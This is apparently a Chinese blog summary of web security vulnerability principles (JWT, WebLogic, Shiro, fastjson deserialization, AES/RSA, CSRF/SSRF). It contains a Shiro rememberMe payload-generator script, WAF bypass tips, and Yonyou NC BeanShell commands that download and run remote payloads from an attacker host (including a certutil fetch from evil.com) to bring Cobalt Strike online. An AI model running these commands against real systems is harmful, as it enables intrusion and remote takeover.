web安全各类原理简单汇总
(1)jwt 是什么?
JWT是一种用于双方之间传递安全信息的简洁的、URL安全的表述性声明规范。JWT作为一个开放的标准(RFC 7519),定义了一种简洁的,自包含的方法用于通信双方之间以Json对象的形式安全的传递信息。因为数字签名的存在,这些信息是可信的,JWT可以使用HMAC算法或者是RSA的公私秘钥对进行签名。(类似于cookie或是session的认证,漏洞利用方式是用于逻辑漏洞,伪造cookie越权操作别人的账号信息)
JWT主要包含三个部分之间用英语句号'.'隔开
- Header 头部
- Payload 负载
- Signature 签名
ewogICJhbGciOiAiSFMyNTYiLAogICJ0eXAiOiAiSldUIgp9ICA=.ewogICAgImlzcyI6ICJMZWZ0by5jb20iLAogICAgImlhdCI6IDE1MDAyMTgwNzcsCiAgICAiZXhwIjogMTUwMDIxODA3NywKICAgICJhdWQiOiAid3d3LmxlZnRzby5jb20iLAogICAgInN1YiI6ICJsZWZ0c29AcXEuY29tIiwKICAgICJ1c2VyX2lkIjogImRjMmM0ZWVmZTJkMTQxNDkwYjZjYTYxMmUyNTJmOTJlIiwKICAgICJ1c2VyX3Rva2VuIjogIjA5ZjdmMjVjZGIwMDM2OTljZWUwNTc1OWU3OTM0ZmIyIgp9.Njg2ODU1YzU3ODM2MmU3NjIyNDhmMjJlMmNjMTIxM2RjN2E2YWZmOGViZGE1MjI0Nzc4MGViNmI1YWU5MTg3Nw==
(2)weblogic 反序列化原理
weblogic反序列化主要有XMLDecoder和T3协议、IIOP反序列化。
T3协议原理简单总结:
T3协议:
WebLogic Server 中的 RMI 通信使用 T3 协议在WebLogic Server和其他 Java程序(包括客户端及其他 WebLogic Server 实例)间传输数据(序列化的类)。由于WebLogic的T3协议和Web协议共用同一个端口,因此只要能访问WebLogic就可利用T3协议实现payload和目标服务器的通信。
JRMP协议
RMI目前使用Java远程消息交换协议JRMP(Java Remote Messaging Protocol)进行通信。JRMP协议是专为Java的远程对象制定的协议。
其两者的区别与使用场景
RMI:RMI通信传输反序列化数据,接收数据后进行反序列化。正常RMI通信使用的是JRMP协议,而在Weblogic的RMI通信中使用的是T3协议。T3协议是Weblogic独有的一个协议,相比于JRMP协议多了一些特性(存在特征的二进制位)。
原理
T3协议刚才简单看了看,归纳总结一下就是需要利用一个链,将传入的明文的payload与链结合(利用ysoserial生成CommonsCollections1的payload)成t3协议内传输的数据格式,然后再加上t3协议固定的二进制头(反序列化标志位),使整体格式达成反序列的标准,这样就可以利用其中存在问题的函数或方法进行反序列化,如CVE-2015-4852漏洞中的resolveClass方法。(详细原理可以查看:https://xz.aliyun.com/t/10365),有一篇文章总结得很好,就是大部分的weblogic反序列化分析原理的文章都是用的这个方法,首先是搭建测试环境,然后使用wireshark进行抓包,分析以下数据的传输方式,然后从底层的报文传输的数据格式开始反向写payload进行验证,然后再定位到与其相关的漏洞函数进行进行一步的验证。也就是这个流程:payload服务端获取过程->payload一些传播处理(比如对payload字符串的切割)->payload最终到达触发函数触发漏洞。
IIOP反序列化原理简单总结:
和之前的T3协议所引发的一系列反序列化漏洞也很相似,都是由于调用远程对象的实现存在缺陷,导致序列化对象可以任意构造,并没有进行安全检查所导致的。通过bind方法中发送序列化对象到服务端,服务端在读取的时候进行反序列化操作,从而触发漏洞。
IIOP反序列化流程:
1、通过设置java.naming.provider.url(env.put("java.naming.provider.url", String.format("iiop://%s:%s", ip, port));)的值为iiop://127.0.0.1:7001获取到对应的InitialContext对象,然后再bind操作的时候会将被绑定的对象进行序列化并发送到IIOP服务端。
2、Weblogic服务端在获取到请求的字节流时候进行反序列化操作触发漏洞。(搜索readObject方法,对传入的数据进行反序列化)
参考文章:https://www.anquanke.com/post/id/197605
XMLDecoder原理简单总结:
漏洞总结:
1.直接通过T3协议发送恶意反序列化对象(CVE-2015-4582、CVE-2016-0638、CVE-2016-3510、CVE-2020-2555、CVE-2020-2883)
2.利用T3协议配合RMP或ND接口反向发送反序列化数据(CVE2017-3248、CVE2018-2628、CVE2018-2893、CVE2018-3245、CVE-2018-3191、CVE-2020-14644、CVE-2020-14645);还有利用IIOP协议的CVE-2020-2551
3.通过 javabean XMLDecoder方式发送反序列化数据。(CVE2017-3506->CVE-2017-10271->CVE2019-2725->CVE-2019-2729)
(3)shiro反序列原理
- base64 decode
- 解密AES
- 反序列化
(4)fastjson反序列原理
之前有分享文章:https://www.cnblogs.com/cute-puli/p/13466362.html
里面提到了一些简单的原理总结:原理总结参考:https://www.secpulse.com/archives/72391.html
fastjson版本:1.2.22-1.2.24。这些版本的fastjson未对@type中加载进的类进行过滤,导致的这一版漏洞。
主要由于利用templatesImlp这个类中的getTransletInstance方法,这个方法是newinstance的,new完之后直接调用exec执行外部命令了,但是在这之前,要先调用defineTransletClasses方法,这个方法中有一个_bytecodes字段,部分函数能够根据这个字段来生成类的实例,这个类的构造函数是我们可控的,就能rce。
(5)php反序列原理
首先需要了解一下什么是php反序列化:https://www.cnblogs.com/cute-puli/p/16653701.html
(6)RSA与AES算法原理
AES:aes是一种对称密码,加密与解密使用相同的密钥,为des的扩展,原理的话就是使用一种迭代方式将明文与密钥进行迭代分组,然后不断地加密明文。分为3类,128比特密钥+10轮加密,192比特密钥+12轮加密,256比特密钥+14轮加密,因为des是64比特的密钥+16轮加密的,所以会有这个区别,感兴趣的可以先了解des加密过程,涉及(s盒、e盒、压缩变换与扩展变化等)然后aes是存在填充方式的,比如for_ _ _ _ _还差的5位,需要往里面填充\0x05,这样变成16位的整数位,这个填充方式比较重要,称为pkcs5,当然还有其他的填充方式,只是大部分的填充都是用的这个方式,至少我挖漏洞遇到的基本都是这种填充方式。最后一个都是密码本的呈现,有两种呈现方式,一种是明文分组对应的加密,比较单一与简单,同样的明文对应同样的密文,优点是加密速度快,这种方式称为ecb密码本加密方式,还有一种cbc的比较复杂的加密方式,是将最开始的明文与iv异或,然后生成的密文作为下一轮的iv进行第二轮加密,然后这样不断地产生密文,这种密码本的方式也是实战中比较常见的,即:找到key与iv就能解密。然后aes在实战中遇到的比较多,目标就是想尽办法的去调试获取到key与iv即可。
RSA:基于大数分解难题原理。上次我有看到一个网站使用rsa加密,就是他是有在自己的站点放公钥本跟私钥本的,然后一般公钥都是公开的,就是说你即使只要了公钥是什么,你没有私钥就没法解开。所以rsa是典型的非对称加密,加密用的公钥,解密用的私钥。可惜当时没访问到私钥的txt文件,要是有了没准就能解密了。一般出现在ctf中比较多,记住公式即可:m的e次方模N就是密文c,c的d次方模N就是明文m,然后这个求明文肯定是比较多的,就是已知,N=p*q,e,与c,求明文m,先求d,d为e与(p-1)*(q-1)的乘法逆元,已知了d、e、p、q、N、c(相当于已知密文c,私钥d,公钥e,pq基于大数分解可以分解出来),就可以得到m,因为m是c的d次方模N。这些都是我看了3遍rsa的讲解总结出来的,因此要做到了解原理,至少得学3遍以上数论跟刷例题5-10道左右。
(7)shiro反序列waf绕过方法
方法一:请求头GET修改为xxx或是直接删除请求方法。(这是针对Tomcat各版本的特性,有的遇到未知的请求方法会跳过继续执行,以及有的waf没有检测这种类型的请求的情况,就可以绕过)
方法二:使用比较短小的payload,因为是有长度限制的话,就可以自己生成一些短小的payload包进行尝试
使用以下脚本生成验证漏洞是否存在的payload:
# -*-* coding:utf-8 # @Time : 2020/10/16 17:36 # @Author : nice0e3 # @FileName: poc.py # @Software: PyCharm # @Blog :https://www.cnblogs.com/nice0e3/ import base64 import uuid import subprocess from Crypto.Cipher import AES def rememberme(command): # popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'URLDNS', command], stdout=subprocess.PIPE) popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'URLDNS', command], stdout=subprocess.PIPE) # popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE) BS = AES.block_size pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode() key = "kPH+bIxk5D2deZiIxcaaaA==" mode = AES.MODE_CBC iv = uuid.uuid4().bytes encryptor = AES.new(base64.b64decode(key), mode, iv) file_body = pad(popen.stdout.read()) base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body)) return base64_ciphertext if __name__ == '__main__': # payload = encode_rememberme('127.0.0.1:12345') # payload = rememberme('calc.exe') payload = rememberme('http://xxx.dnslog.cn') with open("./payload.cookie", "w") as fpw: print("rememberMe={}".format(payload.decode())) res = "rememberMe={}".format(payload.decode()) fpw.write(res)
然后dnslog就能收到请求:
方法三:
对内容进行替换:!、#、$、%、&、’、(、)、.、[、]、\xeb、\xec、\xed、\xee、\xef、\xf0、\xf1等等。
主要可以参考这两篇文章:https://www.sohu.com/a/573366171_121124375、https://gv7.me/articles/2021/shiro-deserialization-bypasses-waf-through-unknown-http-method/
(8)用友 nc beanshell 执行命令如何过 waf
首先需要知道复现是怎么复现的,(body="用友NC"),这里是找接口,然后直接执行命令。
访问/servlet/~ic/bsh.servlet.BshServlet目录,直接执行命令:
exec("ifconfig")
这里说的waf,一般是Windows类似的软waf,所以相当于是bypass 命令执行上线主机。
如果这里的exec被禁用了,怎么进行waf绕过呢,我们可以尝试以下方法:
exec("whoami"); 查看当前用户 exec("net user"); 查看用户 exec("netstat -ano"); 查看端口,比如3389 exec("tasklist"); 查看进程,可以看到杀软 exec("ipconfig"); 查看内网ip exec("systeminfo"); 查看系统信息
exec("cmd.exe /c powershell.exe Get-ExecutionPolicy"); 验证是否开启远程执行权限,RemoteSigned说明可以远程下载执行 exec("cmd.exe /c powershell.exe Set-ExecutionPolicy -ExecutionPolicy RemoteSigned"); 若不是RemoteSigned则设置 exec("cmd.exe /c powershell.exe -nop -w hidden -encodedcommand JABzAD0ATgBlAHcALQBPAGIAagBldasdasd"); 此处命令替换为cs生成的payload(Attacks-->Packages-->Generate-->powershell command)直接上线 =======其他powershell命令======== exec("cmd.exe /c powershell.exe -ExecutionPolicy bypass -noprofile -windowstyle hidden (new-object system.net.webclient).downloadfile('http://你的vps/test.txt','123456.txt');"); 下载文件,前提也是开启RemoteSigned exec("cmd.exe /c powershell -nop -c iex(New-Object Net.WebClient).DownloadString('http://你的vps:80/payload.ps1')"); 通过下载ps1文件上线,ps命令行有时候会失效
试了一下发现有waf,可能是有什么规则触发了waf。这里想到之前的几种远程下载文件上线的办法:主要以上线CS为主。
https://mp.weixin.qq.com/s/l4gw7Qm1W9N_V2rgwKMndA
亲测waf都不会拦截的文件下载命令:
certutil -urlcache -split -f [http://evil.com/reverse.exe](http://evil.com/reverse.exe) c:/windows/temp/reverse.exe
(9)spirng4shell&log4j 利用
spring4shell的复现:
https://www.cnblogs.com/cute-puli/p/16329332.html
log4j漏洞利用:
https://blog.csdn.net/weixin_53090346/article/details/126418193
(10)CSRF原理与SSRF原理与区别(利用方式不同)
CSRF,客户端发起的。攻击利用网站对于用户网页浏览器的信任,挟持用户当前已登陆的Web应用程序,去执行并非用户本意的操作。
SSRF,服务端发起的。是指一种由攻击者构造形成由服务端发起请求的一个安全漏洞,一般情况下,SSRF攻击的目标都是从外网无法访问的内部系统,借助服务端发起伪造的请求,可以访问到与它相连而与外网隔离的内部系统。之所以会形成SSRF主要是因为服务器提供了从其他服务器应用获取数据的功能,但是没有对目标服务器做过滤和限制。比如从指定URL地址获取数据(引入css/js等数据时)。假设如下的一个web应用服务场景:
服务器A:web应用对外网服务接口
服务器B:保存一些图片资源等等以供A网站请求。
当用户访问服务器A上的一些图片时,服务器向服务器B请求对应的img,以返回用户。
用户向服务器A请求图片的URL可能是www.A.com/getimg.php?Img=URL。此时如果服务器A没有对URL进行过滤的话,就导致攻击者可以通过精心构造一个URL从而借助A服务器请求到内部网络B服务器的数据。